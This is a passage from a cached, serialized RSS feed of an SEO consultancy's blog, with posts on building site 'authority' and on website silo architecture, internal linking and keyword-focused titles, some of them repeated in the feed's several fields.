supporting categories and landing pages (with their primary shingles and / or synonyms).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The takeaway here is, cultivation of authority is the goal of SEO. Once that authority has been realized, it must be leveraged to propel entire clusters of keywords into a prominent search engine position (with minimal backlinks) from using the overlapping nodes of relevance and page level trust and relevance score it has accumulated.&lt;/p&gt;\n&lt;p&gt;The extent of the authority depends on (a) the freshness and introduction of new / &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-theme-and-silo-your-wordpress-blog/\&quot;&gt;supporting content&lt;/a&gt; (b) the volume of content (c) the age of the domain (d) the relevancy or the internal link structure and most importantly (e) the time to authority factor (like a fine wine aging over time) that represents the priceless / more elusive ranking factor to distill in reverse or from the perspective of a competitor to emulate.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=xSnyEisWj14:BvmIoZiDFbA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/xSnyEisWj14\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:357:\&quot;Just like degusting a fine wine to appreciate its full-bodied flavor, don&amp;#8217;t omit the chronology that it’s the process of the grapes aging combined with a semblance of subordinate processes that merge a plethora of complex layers into simplified notes to cultivate a delectable, yet exquisite fine wine. In parallel, SEO is quite similar. While [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;3\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:104:\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/full-bodied-seo-looking-past-keywords/\&quot;;}s:7:\&quot;summary\&quot;;s:357:\&quot;Just like degusting a fine wine to appreciate its full-bodied flavor, don&amp;#8217;t omit the chronology that it’s the process of the grapes aging combined with a semblance of subordinate processes that merge a plethora of complex layers into simplified notes to cultivate a delectable, yet exquisite fine wine. In parallel, SEO is quite similar. While [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:7333:\&quot;&lt;p&gt;Just like degusting a fine wine to appreciate its full-bodied flavor, don&amp;#8217;t omit the chronology that it’s &lt;strong&gt;the process of the grapes aging&lt;/strong&gt; combined with a semblance of subordinate processes that merge a plethora of complex layers into simplified notes to cultivate a delectable, yet exquisite fine wine. In parallel, SEO is quite similar.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9104\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/full-bodied-seo-looking-past-keywords/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9104\&quot; title=\&quot;seo-is-like-fine-wine\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/02/seo-is-like-fine-wine.jpg\&quot; alt=\&quot;\&quot; width=\&quot;400\&quot; height=\&quot;424\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Like a fine wine, authority occurs over time&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;While most blindly assume that SEO is about keywords (which is partially true), real SEO is involves grasping the underlying metrics and logic that search engines use to determine which websites are authoritative and which others are not.&lt;span id=\&quot;more-9105\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The real goal of SEO is to create authority; and the faster you accomplish domain or page level authority for any website, the faster keyword conquests are realized and achieved. The extent of the authority of a website, determines how long (or short) a keyword conquest becomes.&lt;/p&gt;\n&lt;p&gt;If your website has exceeded the necessary tipping point (meaning it has enough &lt;a href=\&quot;http://www.miislita.com/information-retrieval-tutorial/cosine-similarity-tutorial.html\&quot;&gt;term weight&lt;/a&gt;, &lt;a href=\&quot;http://www.seoengine.com/link-flow.htm\&quot;&gt;link-flow&lt;/a&gt; from supporting anchor text and pages) and nests the proper on page signals, then that website is a candidate for occupying the top 1000 seed pages in Google’s index otherwise dubbed &amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-basics/seizing-the-seo-window-of-opportunity/\&quot;&gt;the authority set&lt;/a&gt;&amp;#8220;. In essence, the more weight the pages have, the more pages from that domain can be included as seeds in the organic search landscape.&lt;/p&gt;\n&lt;p&gt;While other pages are crawled, only the top 1000 matter and from those 1000 pages there are typically a handful of domains which are considered dominant within the scope of that topic.&lt;/p&gt;\n&lt;p&gt;Those websites are considered &lt;strong&gt;“the authority set”&lt;/strong&gt; and once any page from any website has reached the apex of a topic and breaches the authority set, it now becomes the model that Google and other search engines compare other pages to (to ascertain relevance, validity and rankings).&lt;/p&gt;\n&lt;p&gt;Your objective is to (a) model your data (b) site architecture (c) internal linking structures (d) backlinks and (e) navigation schema to reinforce the topical scope of a page for (1) the primary phrase (2) parallel themes or categories (3) synonyms and sibling themes and (4) adjacent pages which could benefit from the link-flow or page level / theme /authority of that page.&lt;/p&gt;\n&lt;p&gt;This in turn allows you to funnel PageRank, trust and authority to any area of your website with the ideal anchor text (at will) which makes your website less dependent on off-site linking structures to achieve &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/applied-seo-pivotal-seo-metrics/\&quot;&gt;buoyant ranking&lt;/a&gt; factor.&lt;/p&gt;\n&lt;p&gt;For example, we have built websites using this technique and created PR5 sites from brand new domain (which achieved first page results in 30-45 days time for competitive keywords up to 7,500,000 competing pages using less than 50 backlinks off-site.&lt;/p&gt;\n&lt;p&gt;Similarly, the 70+ of the 95 internal pages also sprouted page rank (PR3,PR4 and PR5) which in turn funneled that &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-tips-to-transfer-latent-ranking-factors/\&quot;&gt;ranking factor&lt;/a&gt; to other select pages creating an unparalleled &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/the-seo-tipping-point/\&quot;&gt;tipping point&lt;/a&gt; like a tube Taurus folding in on itself) to propel even more rankings as a result, which leads to my next point.&lt;/p&gt;\n&lt;p&gt;Rankings can be observed from two perspectives (similar to the haves and have nots) and while the ultimate goal or &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-tips-to-optimize-a-new-website/\&quot;&gt;optimizing your website&lt;/a&gt; stems from the desire to reach the top 3 spots (the traffic band) getting there is ultimately determined by how authoritative your page is and the website that supports it.&lt;/p&gt;\n&lt;p&gt;Allow me to elaborate.&lt;/p&gt;\n&lt;p&gt;Every page of your website (if optimal) represents an opportunity to rank that page and dozens more when combined with &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-best-practices-getting-started/\&quot;&gt;SEO best practices&lt;/a&gt;, such as:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Relevant meta data (for every page).&lt;/li&gt;\n&lt;li&gt;A mirrored keyword-rich &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-url-structure/\&quot;&gt;URL structure&lt;/a&gt; for the primary market and semantic focus of the page.&lt;/li&gt;\n&lt;li&gt;Proper H1 use to reflect the primary keyword&lt;/li&gt;\n&lt;li&gt;Sufficient inclusion of theme relevant keywords for the primary and secondary keyword shingles (groups of words).&lt;/li&gt;\n&lt;li&gt;Awareness of link-flow limitations (not having 100+links on a page via navigation and contextual areas to bleed ranking factor).&lt;/li&gt;\n&lt;li&gt;Use of optimal internal linking&lt;/li&gt;\n&lt;li&gt;Proper site architecture that reflects a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/website-silo-architecture-seo-siloing-simplified/\&quot;&gt;natural data hierarchy&lt;/a&gt; (with more competitive keywords higher up in the hierarchy and less competitive categories and mid-tail and long-tail keyword variations supporting the theme).&lt;/li&gt;\n&lt;li&gt;Proper grammar and conversion cues&lt;/li&gt;\n&lt;li&gt;The proper proportion of themed inbound links from qualified sources to the home page and deep links to various supporting categories and landing pages (with their primary shingles and / or synonyms).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The takeaway here is, cultivation of authority is the goal of SEO. Once that authority has been realized, it must be leveraged to propel entire clusters of keywords into a prominent search engine position (with minimal backlinks) from using the overlapping nodes of relevance and page level trust and relevance score it has accumulated.&lt;/p&gt;\n&lt;p&gt;The extent of the authority depends on (a) the freshness and introduction of new / &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-theme-and-silo-your-wordpress-blog/\&quot;&gt;supporting content&lt;/a&gt; (b) the volume of content (c) the age of the domain (d) the relevancy or the internal link structure and most importantly (e) the time to authority factor (like a fine wine aging over time) that represents the priceless / more elusive ranking factor to distill in reverse or from the perspective of a competitor to emulate.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=xSnyEisWj14:BvmIoZiDFbA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/xSnyEisWj14\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:18;a:12:{s:5:\&quot;title\&quot;;s:49:\&quot;Website Silo Architecture: SEO Siloing Simplified\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/zVJma9RiWtY/\&quot;;s:8:\&quot;category\&quot;;s:13:\&quot;SEO Resources\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Fri, 20 Jan 2012 15:27:02 PST\&quot;;s:4:\&quot;guid\&quot;;s:102:\&quot;http://www.seodesignsolutions.com/blog/seo-resources/website-silo-architecture-seo-siloing-simplified/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:13084:\&quot;&lt;p&gt;To draw on a visual analogy, most websites are like the image of mixed  fruit below (which makes it difficult for a search engine to determine  the topicality or relevance of the website (or more importantly the  page) when trying to determine what to rank that page for or why.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9094\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 293px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/website-silo-architecture-seo-siloing-simplified/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9094\&quot; title=\&quot;mixed-fruit\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/01/mixed-fruit.jpg\&quot; alt=\&quot;Mixed Fruit\&quot; width=\&quot;283\&quot; height=\&quot;424\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Most Websites Are Structured Like The Image Above&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Website silo architecture is the process of implementing a structure whereby each topic is housed in it&amp;#8217;s own mini-site within the site and the internal linking pushes ranking factor back up to the primary / topic page otherwise dubbed the &amp;#8220;silo landing page&amp;#8221;.&lt;/p&gt;\n&lt;p&gt;While SEO is simpler than most so called &amp;#8220;experts&amp;#8221; imply, it&amp;#8217;s like the difference between a short order cook and a chef, they both cook food and often use the same ingredients, but it’s how they use them that matters.&lt;span id=\&quot;more-9096\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Similarly, when you dial in the appropriate on page and off page SEO using website silo architecture, then regardless of whether your website is aged or new, a website which previously had zero presence can instantly sprout wings and start ascending the SERPs (search engine result pages) to the top 5 results.&lt;/p&gt;\n&lt;p&gt;On the contrary, if your execution lacks the proper structure for the granular ingredients, then lackluster results are sure to follow. You have to (a) understand your topic (b) create a top down model (starting from broad phrases to specific categories and supporting content) and (c) put each thing in its proper place.&lt;/p&gt;\n&lt;p&gt;So, what is the proper way to structure a result-driven SEO campaign? Here’s our take on five fundamental methods which we have deemed evergreen SEO principles we’ve used for years to create proven results.&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Proper Title and URL structure.&lt;/li&gt;\n&lt;li&gt;Proper H1 Use (to mirror title and URL).&lt;/li&gt;\n&lt;li&gt;Proper site structure (cascading tiers of relevance).&lt;/li&gt;\n&lt;li&gt;Theme relevant internal linking.&lt;/li&gt;\n&lt;li&gt;The proper amount of link flow (to reach and exceed the tipping point).&lt;/li&gt;\n&lt;/ol&gt;\n&lt;h3&gt;Proper Title and URL Structure&lt;/h3&gt;\n&lt;p&gt;By using specific shingles (groups of words) in the title (with prominent keywords first) you send the strongest SEO signal to search engines (as they attempt to determine the topic of your page).&lt;/p&gt;\n&lt;p&gt;The more diffused (or verbose) a title is, the less effective it is for SEO. For example, if I am trying to rank for &lt;strong&gt;insurance rates&lt;/strong&gt;, then those shingles should be the sole or primary page title as well as the URL structure should follow suit such as domain.com/insurance-rates/&lt;/p&gt;\n&lt;p&gt;While conversion cues must be balanced with SEO, it is possible to get the best of both worlds through using synonyms or plural variations in the title while keeping it succinct and relevant.&lt;/p&gt;\n&lt;p&gt;For example, a title such as -  Insurance Rates: Find the Best Rate and Affordable Prices! (&lt;strong&gt;which also includes keywords like best, prices, rate and rates&lt;/strong&gt;) in case consumers use a long-tail query, then your landing page can rank for all potential variations of any of the shingles.&lt;/p&gt;\n&lt;h3&gt;Proper H1 Usage&lt;/h3&gt;\n&lt;p&gt;Using the proper H1 tag (header tag) is a common tried and true SEO technique; if you use &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-theme-and-silo-your-wordpress-blog/\&quot;&gt;WordPress&lt;/a&gt; then your permalink (page title) can easily be switched to your H1 tag by simply changing your style sheet.&lt;/p&gt;\n&lt;p&gt;If you are using other CMS (&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/creating-hybrid-staging-areas-for-legacy-cms-and-non-seo-friendly-crm-platforms/\&quot;&gt;content management systems&lt;/a&gt;) or static html pages, similarly, the suggestion to mirror your title and URL structure with the primary keyword is ideal. Such as the example above, the H1 tag should be &lt;strong&gt;“Insurance Rates”&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;One little trick is, you can also make the H1 (Header Tag / Text) a link and link that either to the home page or pass that ranking factor on to another page you intend to rank. If you are properly theming your website using website silo architecture, then it is possible to feed the primary silo landing page from your category pages this way (to page rank flows up and back to the primary landing page) from nested pages that support the category.&lt;/p&gt;\n&lt;h3&gt;Proper Site Structure&lt;/h3&gt;\n&lt;p&gt;Think of your website in tiers, those tier represent the natural data hierarchy of your website. Starting with your home page (in the root folder), this is tier 1 and the starting point for your SEO.&lt;/p&gt;\n&lt;p&gt;The root folder is the natural destination for your most prominent pages and should house your primary landing pages in the first tier. This is because eventually, all the nested pages will pass their link-flow back to the root and you can scale laterally with multiple silo landing pages for competitive keywords and markets.&lt;/p&gt;\n&lt;p&gt;Here is a visual aid to assist provided by &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;Network Empire&lt;/a&gt;.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9095\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 325px\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9095\&quot; title=\&quot;sample-silo\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/01/sample-silo.jpg\&quot; alt=\&quot;\&quot; width=\&quot;315\&quot; height=\&quot;369\&quot; /&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Sample of Properly Siloed Website&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Using the example from above, domain.com/insurance-rates  – would be my Silo Landing Page, i.e. the keyword I want to rank for. Now, by adding relevant categories and supporting articles, you can give any landing /silo page wings in the SERPs (search engine result pages).&lt;/p&gt;\n&lt;h3&gt;Theme-Relevant Internal Linking&lt;/h3&gt;\n&lt;p&gt;To implement theme-relevant internal linking, It is linked from my homepage with the keyword “insurance rates” as the anchor text to reinforce it. I would also use contextual anchor text links to any other silo landing pages that need tier one link flow to support them.&lt;/p&gt;\n&lt;p&gt;By writing a contextual article and linking to the silo landing pages from the homepage, any link juice my homepage receives, get ring-fenced and passed along to the on page editorial links (the silo landing pages / preferred keyword landing pages) by design.&lt;/p&gt;\n&lt;p&gt;The next tier is your category pages; these will become the hub page that sites on tier 2 one folder away from the root.&lt;/p&gt;\n&lt;p&gt;The category page and primary landing page share a similar URL structure, but the primary landing page is the grandparent and the category parent, next up the posts or supporting articles are the children of the parent/category page.&lt;/p&gt;\n&lt;p&gt;For example (to support my silo landing page, I would create a category called &lt;strong&gt;“affordable insurance rates”&lt;/strong&gt; since it is thematically relevant to the silo landing page.&lt;/p&gt;\n&lt;p&gt;On that page, if I wanted to use the H1 tag to link back to the primary landing page with &lt;strong&gt;“insurance rates”&lt;/strong&gt; it would pass along that link flow, when I add the tier 3 pages (blog posts/products or articles) depending on the type of site you are building.&lt;/p&gt;\n&lt;p&gt;Domain.com/insurance-rates/affordable-insurance-rates/ &amp;#8211; whereby the silo landing page becomes the grandparent, the category the parent and the post/supporting article becomes the child.&lt;/p&gt;\n&lt;p&gt;The third tier would be used for adding supporting content under the nested &lt;strong&gt;theme relevant category&lt;/strong&gt; which has the primary purpose of acting as a controlled portion of the website to administer all content that contains the primary or secondary keywords associated with the primary silo landing page.&lt;/p&gt;\n&lt;h3&gt;Adding the Proper Amount of Link-Flow&lt;/h3&gt;\n&lt;p&gt;Link flow is created from linking from page to page with the appropriate anchor text. &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/which-links-pass-the-most-weight-in-search-engines/\&quot;&gt;Link-flow&lt;/a&gt; also takes the number of inbound and outbound links in addition to the strength and thematic relevance of the links. Siloing passes maximum link flow by capping contextual links (from only linking within the silo) and each page is linked via navigation by virtue of the category.&lt;/p&gt;\n&lt;p&gt;As an example, if I added supporting articles to the affordable insurance rates category they would also be theme related and contain a contextual link that linked back to my category page, which in turn links to my silo landing page (primary landing page in the root).&lt;/p&gt;\n&lt;p&gt;I would add pages like:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Best insurance rates&lt;/li&gt;\n&lt;li&gt;Save money on insurance&lt;/li&gt;\n&lt;li&gt;Compare insurance rates&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;And each would become a post attached to the category, such as: domain.com/insurance-rates/affordable-insurance-rates/compare-insurance-rates&lt;/p&gt;\n&lt;p&gt;And have navigational links to everything in that category, while linking back to the silo landing page with the contextual keyword it is trying to rank for “insurance rates”.&lt;/p&gt;\n&lt;p&gt;The benefit to this type of siloing (using a helix link structure for the data hierarchy) is that the primary keyword (the most competitive phrase) gets ranked from the pooling link flow becoming buoyant underneath it and the category and supporting articles also get ranked as a side benefit (from the internal linking from the navigation).&lt;/p&gt;\n&lt;p&gt;To take this a step further, you can mix the anchor text shingles and link back to the category / or silo landing page with multiple anchors (to create keyword stemming).&lt;/p&gt;\n&lt;p&gt;Or, if you wanted to purely silo the page, then you would link in your navigation from the tier 3 pages back to your category page and use the contextual links from the nested supporting articles to link to the primary silo landing page (and not link across to other silos or silo landing pages from any category) only the parent or grandparent (Silo Landing Page).&lt;/p&gt;\n&lt;p&gt;Building sites in this method produce tectonic shifts in rankings, the only thing you need to is (a) continue to drip fresh content and (b) start link building using deep links to the silo landing page or the category pages.&lt;/p&gt;\n&lt;p&gt;There is no need to link to the supporting articles, unless you want to give them a boost, since, over time, they too will rank (from sharing the collective PageRank and link-flow of the theme cluster you created).&lt;/p&gt;\n&lt;h3&gt;Website Silo Architecture SEO Tools Under Development&lt;/h3&gt;\n&lt;p&gt;Siloing can be difficult, which is why to make this simple, this feature has been integrated into our upcoming theme WP Ultimate (which is still undergoing fine tuning). We will however, be releasing our plugin the WP Silo Importer that works in tandem with &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;Domain Web Studio&lt;/a&gt; and allows you to build theme relevant optimized WordPress sites in minutes (instead of painstakingly publishing dozens or hundreds of pages by hand).&lt;/p&gt;\n&lt;p&gt;In order to use the advanced silo importer, you will require a subscription to DWS. But we also have a basic silo importer inside &lt;strong&gt;&amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/sneak-peak-of-the-wp-ultimate-theme-by-seo-design-solutions%E2%84%A2/\&quot;&gt;The WP Ultimate Theme&lt;/a&gt;&amp;#8220;&lt;/strong&gt; that allows you to quickly and easily create categories and nested posts on the fly.&lt;/p&gt;\n&lt;p&gt;The advanced silo importer however is far superior and adds a parent silo landing page, ties the category (using a page not a post) to keep link flow buoyant (so your rankings stick) and then uses the posts as the last tier after the categories.&lt;/p&gt;\n&lt;p&gt;The &lt;strong&gt;WP Silo Importer Plugin&lt;/strong&gt; (released within 7-10 days to the DWS community) also uses shortcode which you can inject into pages or sidebars to instantly build our all of the navigational elements for theming your content. Doing this by hand on a 100 page site would take hours, with our plugin, merely seconds.&lt;/p&gt;\n&lt;p&gt;So, the takeaway is, proper planning from theming the website at the beginning of a campaign, combined with tactful supporting content and site structure can save you months on the way to page one and allow you to rank for multiple keywords with 1/10th of the links as a mixed-fruit website.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=zVJma9RiWtY:_CZ_6pXgeZg:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/zVJma9RiWtY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:314:\&quot;To draw on a visual analogy, most websites are like the image of mixed fruit below (which makes it difficult for a search engine to determine the topicality or relevance of the website (or more importantly the page) when trying to determine what to rank that page for or why. Website silo architecture is the [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;21\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:102:\&quot;http://www.seodesignsolutions.com/blog/seo-resources/website-silo-architecture-seo-siloing-simplified/\&quot;;}s:7:\&quot;summary\&quot;;s:314:\&quot;To draw on a visual analogy, most websites are like the image of mixed fruit below (which makes it difficult for a search engine to determine the topicality or relevance of the website (or more importantly the page) when trying to determine what to rank that page for or why. Website silo architecture is the [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:13084:\&quot;&lt;p&gt;To draw on a visual analogy, most websites are like the image of mixed  fruit below (which makes it difficult for a search engine to determine  the topicality or relevance of the website (or more importantly the  page) when trying to determine what to rank that page for or why.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9094\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 293px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/website-silo-architecture-seo-siloing-simplified/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9094\&quot; title=\&quot;mixed-fruit\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/01/mixed-fruit.jpg\&quot; alt=\&quot;Mixed Fruit\&quot; width=\&quot;283\&quot; height=\&quot;424\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Most Websites Are Structured Like The Image Above&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Website silo architecture is the process of implementing a structure whereby each topic is housed in it&amp;#8217;s own mini-site within the site and the internal linking pushes ranking factor back up to the primary / topic page otherwise dubbed the &amp;#8220;silo landing page&amp;#8221;.&lt;/p&gt;\n&lt;p&gt;While SEO is simpler than most so called &amp;#8220;experts&amp;#8221; imply, it&amp;#8217;s like the difference between a short order cook and a chef, they both cook food and often use the same ingredients, but it’s how they use them that matters.&lt;span id=\&quot;more-9096\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Similarly, when you dial in the appropriate on page and off page SEO using website silo architecture, then regardless of whether your website is aged or new, a website which previously had zero presence can instantly sprout wings and start ascending the SERPs (search engine result pages) to the top 5 results.&lt;/p&gt;\n&lt;p&gt;On the contrary, if your execution lacks the proper structure for the granular ingredients, then lackluster results are sure to follow. You have to (a) understand your topic (b) create a top down model (starting from broad phrases to specific categories and supporting content) and (c) put each thing in its proper place.&lt;/p&gt;\n&lt;p&gt;So, what is the proper way to structure a result-driven SEO campaign? Here’s our take on five fundamental methods which we have deemed evergreen SEO principles we’ve used for years to create proven results.&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Proper Title and URL structure.&lt;/li&gt;\n&lt;li&gt;Proper H1 Use (to mirror title and URL).&lt;/li&gt;\n&lt;li&gt;Proper site structure (cascading tiers of relevance).&lt;/li&gt;\n&lt;li&gt;Theme relevant internal linking.&lt;/li&gt;\n&lt;li&gt;The proper amount of link flow (to reach and exceed the tipping point).&lt;/li&gt;\n&lt;/ol&gt;\n&lt;h3&gt;Proper Title and URL Structure&lt;/h3&gt;\n&lt;p&gt;By using specific shingles (groups of words) in the title (with prominent keywords first) you send the strongest SEO signal to search engines (as they attempt to determine the topic of your page).&lt;/p&gt;\n&lt;p&gt;The more diffused (or verbose) a title is, the less effective it is for SEO. For example, if I am trying to rank for &lt;strong&gt;insurance rates&lt;/strong&gt;, then those shingles should be the sole or primary page title as well as the URL structure should follow suit such as domain.com/insurance-rates/&lt;/p&gt;\n&lt;p&gt;While conversion cues must be balanced with SEO, it is possible to get the best of both worlds through using synonyms or plural variations in the title while keeping it succinct and relevant.&lt;/p&gt;\n&lt;p&gt;For example, a title such as -  Insurance Rates: Find the Best Rate and Affordable Prices! (&lt;strong&gt;which also includes keywords like best, prices, rate and rates&lt;/strong&gt;) in case consumers use a long-tail query, then your landing page can rank for all potential variations of any of the shingles.&lt;/p&gt;\n&lt;h3&gt;Proper H1 Usage&lt;/h3&gt;\n&lt;p&gt;Using the proper H1 tag (header tag) is a common tried and true SEO technique; if you use &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-theme-and-silo-your-wordpress-blog/\&quot;&gt;WordPress&lt;/a&gt; then your permalink (page title) can easily be switched to your H1 tag by simply changing your style sheet.&lt;/p&gt;\n&lt;p&gt;If you are using other CMS (&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/creating-hybrid-staging-areas-for-legacy-cms-and-non-seo-friendly-crm-platforms/\&quot;&gt;content management systems&lt;/a&gt;) or static html pages, similarly, the suggestion to mirror your title and URL structure with the primary keyword is ideal. Such as the example above, the H1 tag should be &lt;strong&gt;“Insurance Rates”&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;One little trick is, you can also make the H1 (Header Tag / Text) a link and link that either to the home page or pass that ranking factor on to another page you intend to rank. If you are properly theming your website using website silo architecture, then it is possible to feed the primary silo landing page from your category pages this way (to page rank flows up and back to the primary landing page) from nested pages that support the category.&lt;/p&gt;\n&lt;h3&gt;Proper Site Structure&lt;/h3&gt;\n&lt;p&gt;Think of your website in tiers, those tier represent the natural data hierarchy of your website. Starting with your home page (in the root folder), this is tier 1 and the starting point for your SEO.&lt;/p&gt;\n&lt;p&gt;The root folder is the natural destination for your most prominent pages and should house your primary landing pages in the first tier. This is because eventually, all the nested pages will pass their link-flow back to the root and you can scale laterally with multiple silo landing pages for competitive keywords and markets.&lt;/p&gt;\n&lt;p&gt;Here is a visual aid to assist provided by &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;Network Empire&lt;/a&gt;.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9095\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 325px\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9095\&quot; title=\&quot;sample-silo\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/01/sample-silo.jpg\&quot; alt=\&quot;\&quot; width=\&quot;315\&quot; height=\&quot;369\&quot; /&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Sample of Properly Siloed Website&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Using the example from above, domain.com/insurance-rates  – would be my Silo Landing Page, i.e. the keyword I want to rank for. Now, by adding relevant categories and supporting articles, you can give any landing /silo page 